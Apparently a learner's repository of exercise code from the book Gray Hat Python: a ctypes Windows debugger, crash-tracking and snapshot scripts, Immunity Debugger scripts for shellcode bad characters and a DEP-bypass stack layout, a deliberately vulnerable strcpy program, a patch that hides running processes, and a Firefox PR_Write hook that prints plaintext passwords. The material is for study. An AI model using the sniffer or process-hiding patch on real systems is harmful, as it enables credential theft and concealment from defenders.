├── .github └── FUNDING.yml ├── README.md ├── chapter1 ├── chapter1-printf-linux.py ├── chapter1-printf.py ├── python&Ctype.py └── unions.py ├── chapter3 ├── my_debugger.py ├── my_debugger.pyc ├── my_debugger_defines.py ├── my_debugger_defines.pyc ├── my_test.py └── printf_loop.py ├── chapter4 ├── access_violation_handler.py ├── buffer_overflow.py ├── danger_track.py ├── mscrv90_printf_loop.py ├── printf_loop.py ├── printf_random.py └── snapshot.py ├── chapter5 ├── IsDebuggerPresent.cpp ├── IsDebuggerPresent.exe ├── ManageProcess.exe ├── badchar.py ├── buffer_overflow.cpp ├── buffer_overflow.exe ├── findantidep.py ├── findinstruction.py ├── key.txt └── killenumerateprocess.py ├── chapter6 ├── firefox_hook.py └── hippie_easy.py ├── chapter7 ├── FirstDll.dll ├── backdoor.py ├── code_injector.py ├── dll_injector.py ├── file_hider.py ├── my_debugger_defines.py └── my_debugger_defines.pyc ├── chapter8 ├── examples │ ├── heh.txt │ ├── windbg笔记.txt │ └── 新建文本文档.txt ├── file_fuzzer.py ├── test..txt └── test.txt ├── ghpython_src(作者打包的源码,不是很全).zip ├── paimei-master.zip ├── pydasm.pyd └── pydbg-master.zip /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | 3 | github: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2] 4 | patreon: # 5 | open_collective: # Replace with a single Open Collective username 6 | ko_fi: # Replace with a single Ko-fi username 7 | tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel 8 | community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry 9 | liberapay: # Replace with a single Liberapay username 10 | issuehunt: # Replace with a single IssueHunt username 11 | otechie: # Replace with a single Otechie username 12 | custom: ['http://pic.giantbranch.cn/pic/1551450728861.jpg'] 13 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # gray-hat-python-src 2 | 我是根据自己的学习进度更新的,跟着书手敲的~~,相信这样学习效果好 3 | 4 | 作者提供的代码不完整,缺了那么一点吧 5 | 6 | 我的新**blog**: http://www.giantbranch.cn 7 | 8 | **自愿打赏** 9 | 10 | paypal: https://www.paypal.me/giantbranch 11 | 12 | ![自愿打赏][1] 13 | 14 | 15 | [1]: http://pic.giantbranch.cn/pic/1551450728861.jpg 16 | -------------------------------------------------------------------------------- /chapter1/chapter1-printf-linux.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Date : 2016-08-10 20:25:35 3 | # @Author : giantbranch (giantbranch@gmail.com) 4 | # @Link : http://blog.csdn.net/u012763794?viewmode=contents 5 | 6 | from ctypes import * 7 | msvcrt = CDLL("libc.so.6") 8 | message_string = "HelloWorld!\n" 9 | msvcrt.printf("using c printf: %s", message_string) -------------------------------------------------------------------------------- /chapter1/chapter1-printf.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Date : 2016-08-10 17:35:59 3 | # @Author : giantbranch (giantbranch@gmail.com) 4 | # @Link : http://blog.csdn.net/u012763794?viewmode=contents 5 | 6 | from ctypes import * 7 | msvcrt = cdll.msvcrt 8 | message_string = "HelloWorld!\n" 9 | msvcrt.printf("using c printf: %s", message_string) -------------------------------------------------------------------------------- /chapter1/python&Ctype.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Date : 2016-08-10 20:30:23 3 | # @Author : giantbranch (giantbranch@gmail.com) 4 | # @Link : http://blog.csdn.net/u012763794?viewmode=contents 5 | 6 | from ctypes import * 7 | c_int() 8 | c_char_p('Hello world!') 9 | c_ushort(65531) 10 | c_short(-5) 11 | seitz = c_char_p("loves the python") 12 | print seitz 13 | print seitz.value 14 | exit() 15 | -------------------------------------------------------------------------------- /chapter1/unions.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Date : 2016-08-10 20:39:24 3 | # @Author : giantbranch (giantbranch@gmail.com) 4 | # @Link : http://blog.csdn.net/u012763794?viewmode=contents 5 | 6 | from ctypes import * 7 | 8 | #python 9 | class barley_amount(Union): 10 | _fields_ = [ 11 | ("barley_long", c_long), 12 | ("barley_int", c_int), 13 | ("barley_char", c_char*8), 14 | ] 15 | 16 | value = raw_input("请输入装进啤酒桶里大麦的数量\n") 17 | my_barley = barley_amount(int(value)) 18 | print "长整形: %ld" % my_barley.barley_long 19 | print "整型: %d" % my_barley.barley_int 20 | print "字符型: %s" % my_barley.barley_char 21 | 22 | -------------------------------------------------------------------------------- /chapter3/my_debugger.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Date : 2016-08-11 16:48:16 3 | # @Author : giantbranch (giantbranch@gmail.com) 4 | # @Link : http://blog.csdn.net/u012763794?viewmode=contents 5 | 6 | from ctypes import * 7 | from my_debugger_defines import * 8 | kernel32 = windll.kernel32 9 | class debugger(): 10 | 11 | # 初始化 12 | def __init__(self): 13 | # 进程句柄 14 | self.h_process = None 15 | self.pid = None 16 | # 记录当前的调试状态,默认不在调试状态中 17 | self.debugger_active = False 18 | self.h_thread = None 19 | self.context = None 20 | self.exception = None 21 | self.exception_address = None 22 | self.breakpoints = {} 23 | self.first_breakpoint = True 24 | self.hardware_breakpoints = {} 25 | system_info = SYSTEM_INFO() 26 | kernel32.GetSystemInfo(byref(system_info)) 27 | self.page_size = system_info.dwPageSize 28 | 29 | self.guarded_pages = [] 30 | self.memory_breakpoints = {} 31 | 32 | # 启动程序 33 | def load(self, path_to_exe): 34 | creation_flags = DEBUG_PROCESS 35 | startupinfo = STARTUPINFO() 36 | 37 | process_information = PROCESS_INFORMATION() 38 | 39 | startupinfo.dwFlags = 0x1 40 | startupinfo.wShowWindow = 0x0 41 | 42 | startupinfo.cb = sizeof(startupinfo) 43 | if kernel32.CreateProcessA(path_to_exe, 44 | None, 45 | None, 46 | None, 47 | None, 48 | creation_flags, 49 | None, 50 | None, 51 | byref(startupinfo), 52 | byref(process_information)): 53 | print "[*] we have successfully launched the process!" 54 | print "[*] PID:%d" % process_information.dwProcessId 55 | self.h_process = self.open_process(process_information.dwProcessId) 56 | else: 57 | print "[*] Error:0x%08x." % kernel32.GetLastError() 58 | 59 | # 获取进程的句柄,要调试当然要全不权限了 60 | def open_process(self, pid): 61 | # h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, pid, False) 62 | h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, pid) 63 | return h_process 64 | 65 | # 附加 66 | def attach(self, pid): 67 | self.h_process = self.open_process(pid) 68 | #尝试附加到某个pid的程序上 69 | if kernel32.DebugActiveProcess(pid): 70 | self.debugger_active = True 71 | self.pid = pid 72 | # self.run() 73 | else: 74 | print "[*] Unable to attach to the process." 75 | 76 | #既然都附加上去了,等待调试事件咯 77 | def run(self): 78 | while self.debugger_active == True: 79 | self.get_debug_event() 80 | 81 | # 等待调试事件,获取调试事件 82 | def get_debug_event(self): 83 | debug_event = DEBUG_EVENT() 84 | continue_status = DBG_CONTINUE 85 | #INFINITE表示无限等待 86 | if kernel32.WaitForDebugEvent(byref(debug_event), INFINITE): 87 | #现在我们暂时不对事件进行处理 88 | #现在只是简单地恢复进程的运行吧 89 | # raw_input("Press a key to continue...") 90 | # self.debugger_active = False 91 | self.h_thread = self.open_thread(debug_event.dwThreadId) 92 | # self.context = self.get_thread_context(self.h_thread) 93 | self.context = self.get_thread_context(debug_event.dwThreadId) 94 | 95 | print "Event Code:%d Thread ID:%d" % (debug_event.dwDebugEventCode, debug_event.dwThreadId) 96 | # 如果是例外事件就,处理它 97 | if debug_event.dwDebugEventCode == EXCEPTION_DEBUG_EVENT: 98 | self.exception = debug_event.u.Exception.ExceptionRecord.ExceptionCode 99 | self.exception_address = debug_event.u.Exception.ExceptionRecord.ExceptionAddress 100 | # 内存访问异常(如写入一个只读的内存区域) 101 | if self.exception == EXCEPTION_ACCESS_VIOLATION: 102 | print "Access Violation Detected." 103 | # 断点 104 | elif self.exception == EXCEPTION_BREAKPOINT: 105 | continue_status = self.exception_handler_breakpoint() 106 | # 访问了具有PAGE_GUARD属性的保护页面 107 | elif self.exception == EXCEPTION_GUARD_PAGE: 108 | print "Guard Page Access Detected." 109 | # 单步 110 | elif self.exception == EXCEPTION_SINGLE_STEP: 111 | # print "Single Stepping." 112 | self.exception_handler_single_step() 113 | kernel32.ContinueDebugEvent(debug_event.dwProcessId,debug_event.dwThreadId, continue_status) 114 | 115 | # 分离 116 | def detach(self): 117 | if kernel32.DebugActiveProcessStop(self.pid): 118 | print "[*] Finished debugging. Exiting..." 119 | else: 120 | print "There was an error" 121 | return False 122 | 123 | # 通过线程id打开线程 124 | def open_thread(self, thread_id): 125 | h_thread = kernel32.OpenThread(THREAD_ALL_ACCESS, None, thread_id) 126 | if h_thread is not None: 127 | return h_thread 128 | else: 129 | print "[*] Could not obtain a valid thread handle." 130 | return False 131 | 132 | # 枚举线程 133 | def enumerate_threads(self): 134 | thread_entry = THREADENTRY32() 135 | thread_list = [] 136 | snapshot = kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, self.pid) 137 | if snapshot is not None: 138 | thread_entry.dwSize = sizeof(thread_entry) 139 | success = kernel32.Thread32First(snapshot, byref(thread_entry)) 140 | while success: 141 | if thread_entry.th32OwnerProcessID == self.pid: 142 | thread_list.append(thread_entry.th32ThreadID) 143 | success = kernel32.Thread32Next(snapshot, byref(thread_entry)) 144 | 145 | kernel32.CloseHandle(snapshot) 146 | return thread_list 147 | else: 148 | print "enumerate_threads fail." 149 | return False 150 | 151 | # 获取线程上下文 152 | def get_thread_context(self, thread_id): 153 | context = CONTEXT() 154 | context.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS 155 | h_thread = self.open_thread(thread_id) 156 | if kernel32.GetThreadContext(h_thread, byref(context)): 157 | kernel32.CloseHandle(h_thread) 158 | return context 159 | else: 160 | print "get_thread_context fail." 161 | return False 162 | 163 | # 处理断点的函数 164 | def exception_handler_breakpoint(self): 165 | # print "[*] Inside the breakpoint handler." 166 | print "Exception Address: 0x%08x" % self.exception_address 167 | if not self.breakpoints.has_key(self.exception_address): 168 | # if it is the first Windows driven breakpoint 169 | # then let's just continue on 170 | if self.first_breakpoint == True: 171 | self.first_breakpoint = False 172 | print "[*] Hit the first breakpoint." 173 | else: 174 | print "[*] Hit user defined breakpoint." 175 | 176 | return DBG_CONTINUE 177 | 178 | # 读内存 179 | def read_process_memory(self, address, length): 180 | data = "" 181 | read_buf = create_string_buffer(length) 182 | count = c_ulong(0) 183 | print self.h_process 184 | if not kernel32.ReadProcessMemory(self.h_process, address, read_buf, length, byref(count)): 185 | return False 186 | else: 187 | data += read_buf.raw 188 | return data 189 | 190 | # 写内存 191 | def write_process_memory(self, address, data): 192 | count = c_ulong(0) 193 | length = len(data) 194 | c_data = c_char_p(data[count.value:]) 195 | if not kernel32.WriteProcessMemory(self.h_process, address, c_data, length, byref(count)): 196 | return False 197 | else: 198 | return True 199 | 200 | # 设置断点 201 | def bp_set(self, address): 202 | # 看看断点的字典里是不是已经存在这个断点的地址了 203 | if not self.breakpoints.has_key(address): 204 | try: 205 | # 先读取原来的一个字节,保存后再写入0xCC 206 | original_byte = self.read_process_memory(address, 1) 207 | # print original_byte 208 | # print GetLastError() 209 | res = self.write_process_memory(address, '\xCC') 210 | # if res: 211 | # print "write success" 212 | # else: 213 | # print "write fail" 214 | self.breakpoints[address] = (address, original_byte) 215 | except: 216 | return False 217 | return True 218 | 219 | # 获取某个模块(一般是dll)中的某个函数的地址 220 | def func_resolve(self, dll, function): 221 | handle = kernel32.GetModuleHandleA(dll) 222 | address = kernel32.GetProcAddress(handle, function) 223 | kernel32.CloseHandle(handle) 224 | return address 225 | 226 | # 设置硬件断点 227 | def bp_set_hw(self, address, length, condition): 228 | # 硬件断点对字节有限制,看od就知道了 229 | if length not in (1,2,4): 230 | return False 231 | else: 232 | length -= 1 233 | 234 | if condition not in (HW_ACCESS, HW_EXECUTE, HW_WRITE): 235 | return False 236 | 237 | # 看看那个调试寄存器是空闲的 238 | if not self.hardware_breakpoints.has_key(0): 239 | # 若Dr0没在硬件断点的字典里,就设置值available为0 240 | available = 0 241 | elif not self.hardware_breakpoints.has_key(1): 242 | available = 1 243 | elif not self.hardware_breakpoints.has_key(2): 244 | available = 2 245 | elif not self.hardware_breakpoints.has_key(3): 246 | available = 3 247 | else: 248 | return False 249 | 250 | # 给每个线程都设置调试寄存器 251 | for thread_id in self.enumerate_threads(): 252 | context = self.get_thread_context(thread_id = thread_id) 253 | # 在Dr上设置断点的属性 254 | context.Dr7 |= 1 << (available*2) 255 | 256 | # 将断点的地址存在空闲的4个调试寄存器中的一个 257 | if available == 0: 258 | context.Dr0 = address 259 | elif available == 1: 260 | context.Dr1 = address 261 | elif available == 2: 262 | context.Dr2 = address 263 | elif available == 3: 264 | context.Dr3 = address 265 | 266 | # 设置断点的调试(执行,写入,还是读出呢) 267 | context.Dr7 |= condition <<((available*4) + 16) 268 | 269 | # 设置长度 270 | context.Dr7 |= length << ((available*4) + 18) 271 | 272 | # 设置一下线程的上下文 273 | h_thread = self.open_thread(thread_id) 274 | kernel32.SetThreadContext(h_thread, byref(context)) 275 | 276 | self.hardware_breakpoints[available] = (address, length, condition) 277 | return True 278 | 279 | # 处理硬件断点的异常的 280 | def exception_handler_single_step(self): 281 | # Dr6是状态寄存器,说明了被断点触发的调试事件类型 282 | # 是Dr0那个断点产生的那,Dr1,还是。。。。。 283 | if self.context.Dr6 & 0x1 and self.hardware_breakpoints.has_key(0): 284 | slot = 0 285 | elif self.context.Dr6 & 0x2 and self.hardware_breakpoints.has_key(1): 286 | slot = 1 287 | elif self.context.Dr6 & 0x4 and self.hardware_breakpoints.has_key(2): 288 | slot = 2 289 | elif self.context.Dr6 & 0x8 and self.hardware_breakpoints.has_key(3): 290 | slot = 3 291 | else: 292 | continue_status = DBG_EXCEPTION_NOT_HANDLED 293 | 294 | # 从列表中删除断点 295 | if self.bp_del_hw(slot): 296 | continue_status = DBG_CONTINUE 297 | print "[*] Hardware breakpoint removed." 298 | return continue_status 299 | 300 | # 删除硬件断点 301 | def bp_del_hw(self, slot): 302 | for thread_id in self.enumerate_threads(): 303 | context = self.get_thread_context(thread_id = thread_id) 304 | # 重置Dr7对应的位 305 | context.Dr7 &= ~(1< %s" % (esp_offset, parameter) 29 | esp_offset += 4 30 | print "================================================================================" 31 | dbg.suspend_all_threads() 32 | dbg.process_snapshot() 33 | dbg.resume_all_threads() 34 | return DBG_CONTINUE 35 | def access_violation_handler(dbg): 36 | global crash_encountered 37 | 38 | if dbg.dbg.u.Exception.dwFirstChance: 39 | return DBG_EXCEPTION_NOT_HANDLED 40 | crash_bin = utils.crash_binning.crash_binning() 41 | crash_bin.record_crash(dbg) 42 | print crash_bin.crash_synopsis() 43 | 44 | if crash_encountered == False: 45 | dbg.suspend_all_threads() 46 | dbg.process_restore() 47 | crash_encountered = True 48 | 49 | for thread_id in dbg.enumerate_threads(): 50 | print "[*] Setting single step for thread:0x%08x" % thread_id 51 | h_thread = dbg.open_thread(thread_id) 52 | dbg.single_step(True, h_thread) 53 | dbg.close_handle(h_thread) 54 | 55 | dbg.resume_all_threads() 56 | return DBG_CONTINUE 57 | else: 58 | dbg.terminate_process() 59 | return DBG_EXCEPTION_NOT_HANDLED 60 | 61 | def single_step_handler(dbg): 62 | global instruction_count 63 | global crash_encountered 64 | if crash_encountered: 65 | if instruction_count == MAX_INSTRUCTIONS: 66 | dbg.single_step(False) 67 | return DBG_CONTINUE 68 | else: 69 | instruction = dbg.disasm(dbg.context.Eip) 70 | print "#%d\t0x%08x : %s" % (instruction_count, dbg.context.Eip, instruction) 71 | instruction_count += 1 72 | dbg.single_step(True) 73 | return DBG_CONTINUE 74 | 75 | dbg = pydbg() 76 | pid = int(raw_input("Enter the PID you wish to monitor:")) 77 | dbg.attach(pid) 78 | for func in dangerous_functions.keys(): 79 | func_address = dbg.func_resolve(dangerous_functions[func], func) 80 | print "[*] Resolved breakpoint:%s -> 0x%08x" % (func, func_address) 81 | dbg.bp_set(func_address, handler=danger_handler) 82 | dangerous_functions_resolved[func_address] = func 83 | dbg.set_callback(EXCEPTION_ACCESS_VIOLATION, access_violation_handler) 84 | dbg.set_callback(EXCEPTION_SINGLE_STEP, single_step_handler) 85 | dbg.run() 86 | -------------------------------------------------------------------------------- /chapter4/mscrv90_printf_loop.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Date : 2016-08-13 19:18:37 3 | # @Author : giantbranch (giantbranch@gmail.com) 4 | # @Link : http://blog.csdn.net/u012763794?viewmode=contents 5 | 6 | from ctypes import * 7 | import time 8 | 9 | msvcrt = cdll.msvcr90 10 | counter = 0 11 | while 1: 12 | msvcrt.printf("Loop iteration %d!\n" % counter) 13 | time.sleep(2) 14 | counter = counter + 1 -------------------------------------------------------------------------------- /chapter4/printf_loop.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Date : 2016-08-13 19:18:37 3 | # @Author : giantbranch (giantbranch@gmail.com) 4 | # @Link : http://blog.csdn.net/u012763794?viewmode=contents 5 | 6 | from ctypes import * 7 | import time 8 | 9 | msvcrt = cdll.msvcrt 10 | counter = 0 11 | while 1: 12 | msvcrt.printf("Loop iteration %d!\n" % counter) 13 | time.sleep(2) 14 | counter = counter + 1 -------------------------------------------------------------------------------- /chapter4/printf_random.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Date : 2016-08-14 10:04:29 3 | # @Author : giantbranch (giantbranch@gmail.com) 4 | # @Link : http://blog.csdn.net/u012763794?viewmode=contents 5 | 6 | from pydbg import * 7 | from pydbg.defines import * 8 | import struct 9 | import random 10 | 11 | # 这是我们定义的回调函数 12 | def printf_randomizer(dbg): 13 | # 用esp索引count局部变量的值 14 | parameter_addr = dbg.context.Esp + 0x10 15 | counter = dbg.read_process_memory(parameter_addr, 4) 16 | counter = struct.unpack("L", counter)[0] 17 | if counter != 1807708002: 18 | print "Counter:%d" % int(counter) 19 | # 生成1到100的随机数,再转换成二进制格式的 20 | random_counter = random.randint(1, 100) 21 | random_counter = struct.pack("L", random_counter)[0] 22 | 23 | 24 | dbg.write_process_memory(parameter_addr, random_counter) 25 | # print GetLastError() 26 | return DBG_CONTINUE 27 | 28 | dbg = pydbg() 29 | pid = raw_input("Please Enter the printf_loop.py PID:") 30 | # 附加 31 | dbg.attach(int(pid)) 32 | # printf_address = dbg.func_resolve("msvcrt", "printf") 33 | # printf_address = dbg.func_resolve("msvcr90", "_vsnprintf") 34 | printf_address = dbg.func_resolve("python27", "PyOS_snprintf") 35 | # print printf_address 36 | # description为断点设置名字,handler设置回调函数 37 | dbg.bp_set(printf_address, description="printf_address", handler=printf_randomizer) 38 | # 启动起来 39 | dbg.run() 40 | 41 | 42 | -------------------------------------------------------------------------------- /chapter4/snapshot.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Date : 2016-08-14 21:44:59 3 | # @Author : giantbranch (giantbranch@gmail.com) 4 | # @Link : http://blog.csdn.net/u012763794?viewmode=contents 5 | 6 | from pydbg import * 7 | from pydbg.defines import * 8 | import threading 9 | import time 10 | import sys 11 | 12 | class snapshotter(object): 13 | """docstring for snapshotter""" 14 | def __init__(self, exe_path): 15 | self.exe_path = exe_path 16 | self.pid = None 17 | self.dbg = None 18 | self.running = True 19 | 20 | # 开启调试器的线程,循环直到设置了目标进程的PID 21 | pydbg_thread = threading.Thread(target=self.start_debugger) 22 | pydbg_thread.setDaemon(0) 23 | pydbg_thread.start() 24 | 25 | while self.pid == None: 26 | time.sleep(1) 27 | 28 | # 现在我们有了目标的PID,并且他在运行,我们开另外一个线程去拍快照吧 29 | monitor_thread = threading.Thread(target=self.monitor_debugger) 30 | monitor_thread.setDaemon(0) 31 | monitor_thread.start() 32 | 33 | def monitor_debugger(self): 34 | while self.running == True: 35 | input = raw_input("Enter :'snap', 'restore' or 'quit'\n") 36 | input = input.lower().strip() 37 | 38 | if input == "quit": 39 | print "[*] Exiting the snapshotter." 40 | self.running = False 41 | self.dbg.terminate_process() 42 | elif input == "snap": 43 | # 挂起 44 | print "[*] Suspending all threads." 45 | self.dbg.suspend_all_threads() 46 | # 拍快照 47 | print "[*] Obtaining snapshot." 48 | self.dbg.process_snapshot() 49 | #恢复 50 | print "[*] Resuming operation." 51 | self.dbg.resume_all_threads() 52 | elif input == "restore": 53 | # 挂起 54 | print "[*] Suspending all threads." 55 | self.dbg.suspend_all_threads() 56 | # 利用快照restore 57 | print "[*] Obtaining snapshot." 58 | self.dbg.process_restore() 59 | #恢复 60 | print "[*] Resuming operation." 61 | self.dbg.resume_all_threads() 62 | 63 | def start_debugger(self): 64 | self.dbg = pydbg() 65 | 66 | pid = self.dbg.load(self.exe_path) 67 | self.pid = self.dbg.pid 68 | self.dbg.run() 69 | 70 | # exe_path = "C:\\WINDOWS\\system32\\calc.exe" 71 | exe_path = "D:\\All_Code\\VC++6.0\\test\\aaa\\Debug\\aaa.exe" 72 | snapshotter(exe_path) 73 | -------------------------------------------------------------------------------- /chapter5/IsDebuggerPresent.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/giantbranch/gray-hat-python-src/ab7df49e03e4b5b9847089c700f588a5abcc0917/chapter5/IsDebuggerPresent.cpp -------------------------------------------------------------------------------- /chapter5/IsDebuggerPresent.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/giantbranch/gray-hat-python-src/ab7df49e03e4b5b9847089c700f588a5abcc0917/chapter5/IsDebuggerPresent.exe -------------------------------------------------------------------------------- /chapter5/ManageProcess.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/giantbranch/gray-hat-python-src/ab7df49e03e4b5b9847089c700f588a5abcc0917/chapter5/ManageProcess.exe -------------------------------------------------------------------------------- /chapter5/badchar.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Date : 2016-08-15 11:33:42 3 | # @Author : giantbranch (giantbranch@gmail.com) 4 | # @Link : http://blog.csdn.net/u012763794?viewmode=contents 5 | 6 | from immlib import * 7 | def main(args): 8 | imm = Debugger() 9 | bad_char_found = False 10 | address = int(args[0], 16) 11 | shellcode = "<>" 12 | shellcode_length = len(shellcode) 13 | debug_shellcode = imm.readMemory(address, shellcode_length) 14 | debug_shellcode = debug_shellcode.encode("HEX") 15 | imm.log("Address:0x%08x" % address) 16 | imm.log("Shellcode Length:%d" % shellcode_length) 17 | imm.log("Attack Shellcode:%s" % canvas_shellcode[:512]) 18 | imm.log("In Memory Shellcode:%s" % id_shellcode[:512]) 19 | 20 | count = 0 21 | while count <= shellcode_length: 22 | if debug_shellcode[count] != shellcode[count]: 23 | imm.log("Bad Char Detected at offset %d" % count) 24 | bad_char_found = True 25 | break 26 | count += 1 27 | 28 | if bad_char_found: 29 | imm.log("[*****] ") 30 | imm.log("Bad character found:%s" % debug_shellcode[count]) 31 | imm.log("Bad character original:%s" % shellcode[count]) 32 | imm.log("[*****] ") 33 | return "[*] !badchar finished,check Log window" -------------------------------------------------------------------------------- /chapter5/buffer_overflow.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int overflow_here(char *key){ 5 | char buffer[66]; 6 | strcpy(buffer, key); 7 | return 0; 8 | } 9 | 10 | int main(){ 11 | char key[666]; 12 | FILE *fp; 13 | LoadLibrary("user32.dll"); 14 | if (!(fp = fopen("key.txt", "rw+"))){ 15 | exit(0); 16 | } 17 | fscanf(fp, "%s", key); 18 | overflow_here(key); 19 | printf("come on, overflow me!"); 20 | return 0; 21 | } 22 | 23 | -------------------------------------------------------------------------------- /chapter5/buffer_overflow.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/giantbranch/gray-hat-python-src/ab7df49e03e4b5b9847089c700f588a5abcc0917/chapter5/buffer_overflow.exe -------------------------------------------------------------------------------- /chapter5/findantidep.py: -------------------------------------------------------------------------------- 1 | import immlib 2 | import immutils 3 | 4 | NAME = "findantidep" 5 | DESC="""Find address to bypass software DEP""" 6 | 7 | def usage(imm): 8 | imm.log("!%s" % NAME) 9 | imm.log("%s" % DESC) 10 | 11 | def tAddr(addr): 12 | buf = immutils.int2str32_swapped(addr) 13 | return "\\x%02x\\x%02x\\x%02x\\x%02x" % ( ord(buf[0]) , ord(buf[1]), ord(buf[2]), ord(buf[3]) ) 14 | 15 | def main(args): 16 | imm=immlib.Debugger() 17 | addylist = [] 18 | mod = imm.getModule("ntdll.dll") 19 | if not mod: 20 | return "Error: Ntdll.dll not found!" 21 | 22 | # Finding the first ADDRESS 23 | ret = imm.searchCommands("MOV AL,1\nRET") 24 | if not ret: 25 | return "Error: Sorry, the first addy cannot be found" 26 | for a in ret: 27 | addylist.append( "0x%08x: %s" % (a[0], a[2]) ) 28 | ret = imm.comboBox("Please, choose the First Address [sets AL to 1]", addylist) 29 | firstaddy = int(ret[0:10], 16) 30 | imm.log("First Address: 0x%08x" % firstaddy, address = firstaddy) 31 | 32 | # Finding the Second ADDRESS 33 | ret = imm.searchCommandsOnModule(mod.getBase(), "CMP AL,0x1\n PUSH 0x2\n POP ESI\n" ) 34 | if not ret: 35 | return "Error: Sorry, the second addy cannot be found" 36 | secondaddy = ret[0][0] 37 | imm.log( "Second Address %x" % secondaddy , address= secondaddy) 38 | 39 | # Finding the Third ADDRESS 40 | ret = imm.inputBox("Insert the Asm code to search for") 41 | ret = imm.searchCommands(ret) 42 | if not ret: 43 | return "Error: Sorry, the third address cannot be found" 44 | addylist = [] 45 | for a in ret: 46 | addylist.append( "0x%08x: %s" % (a[0], a[2]) ) 47 | ret = imm.comboBox("Please, choose the Third return Address [jumps to shellcode]", addylist) 48 | thirdaddy = int(ret[0:10], 16) 49 | imm.log( "Third Address: 0x%08x" % thirdaddy, thirdaddy ) 50 | imm.log( 'stack = "%s\\xff\\xff\\xff\\xff%s\\xff\\xff\\xff\\xff" + "A" * 0x54 + "%s" + shellcode ' %\ 51 | ( tAddr(firstaddy), tAddr(secondaddy), tAddr(thirdaddy) ) ) 52 | return DESC 53 | -------------------------------------------------------------------------------- /chapter5/findinstruction.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Date : 2016-08-15 09:10:15 3 | # @Author : giantbranch (giantbranch@gmail.com) 4 | # @Link : http://blog.csdn.net/u012763794?viewmode=contents 5 | 6 | import immlib 7 | def main(args): 8 | imm = immlib.Debugger() 9 | imm.log("args:%s" % args) 10 | search_code = " ".join(args) 11 | imm.log("search_code:%s" % search_code) 12 | search_byte = imm.assemble(search_code) 13 | imm.log(repr(search_byte)) 14 | search_result = imm.search(search_byte) 15 | for hit in search_result: 16 | code_page = imm.getMemoryPageByAddress(hit) 17 | access = code_page.getAccess(human = True) 18 | if "execute" in access.lower(): 19 | imm.log("[*] Found: %s (0x%08x)" % (search_code, hit), address = hit) 20 | return "[*] Finished searching for instructions,check the Log window." 21 | 22 | -------------------------------------------------------------------------------- /chapter5/key.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/giantbranch/gray-hat-python-src/ab7df49e03e4b5b9847089c700f588a5abcc0917/chapter5/key.txt -------------------------------------------------------------------------------- /chapter5/killenumerateprocess.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Date : 2016-08-19 21:26:28 3 | # @Author : giantbranch (giantbranch@gmail.com) 4 | # @Link : http://blog.csdn.net/u012763794?viewmode=contents 5 | 6 | import immlib 7 | 8 | def main(args): 9 | # 实例化 10 | imm = immlib.Debugger() 11 | # 获取两个函数的地址 12 | process32first = imm.getAddress("kernel32.Process32FirstW") 13 | process32next = imm.getAddress("kernel32.Process32NextW") 14 | function_list = [process32first, process32next] 15 | imm.log("process32first:0x%08x" % process32first) 16 | imm.log("process32next:0x%08x" % process32next) 17 | patch_bytes = imm.assemble("SUB EAX,EAX\nRET") 18 | for address in function_list: 19 | # opcode = imm.disasmForward(address, nlines = 1) 20 | # re = imm.writeMemory(opcode.address, patch_bytes) 21 | re = imm.writeMemory(address, patch_bytes) 22 | if re: 23 | imm.log("success") 24 | else: 25 | imm.log("fail") 26 | return "finished kill the enumerate process" 27 | -------------------------------------------------------------------------------- /chapter6/firefox_hook.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Date : 2016-08-20 17:02:22 3 | # @Author : giantbranch (giantbranch@gmail.com) 4 | # @Link : http://blog.csdn.net/u012763794?viewmode=contents 5 | 6 | from pydbg import * 7 | from pydbg.defines import * 8 | import utils 9 | import sys 10 | dbg = pydbg() 11 | found_firefox = False 12 | 13 | pattern = "password" 14 | 15 | def ssl_sniff(dbg, args): 16 | buffer = "" 17 | offset = 0 18 | while 1: 19 | byte = dbg.read_process_memory(args[1]+offset, 1) 20 | if byte != '\x00': 21 | buffer += byte 22 | offset += 1 23 | continue 24 | else: 25 | break 26 | if pattern in buffer: 27 | print "Pre-Encrypted:%s" % buffer 28 | return DBG_CONTINUE 29 | 30 | for (pid, name) in dbg.enumerate_processes(): 31 | if name.lower() == "firefox.exe": 32 | found_firefox = True 33 | hooks = utils.hook_container() 34 | dbg.attach(pid) 35 | print "[*] Attaching to firefox.exe with PID:%d" % pid 36 | hook_address = dbg.func_resolve_debuggee("nss3.dll", "PR_Write") 37 | if hook_address: 38 | hooks.add(dbg, hook_address, 2, ssl_sniff, None) 39 | print "[*] nss3.PR_Write hooked at:0x%08x" % hook_address 40 | break 41 | else: 42 | print "[*] Error:Couldn't resolve hook address." 43 | sys.exit(-1) 44 | 45 | if found_firefox: 46 | print "[*] Hooks set,continuing process." 47 | 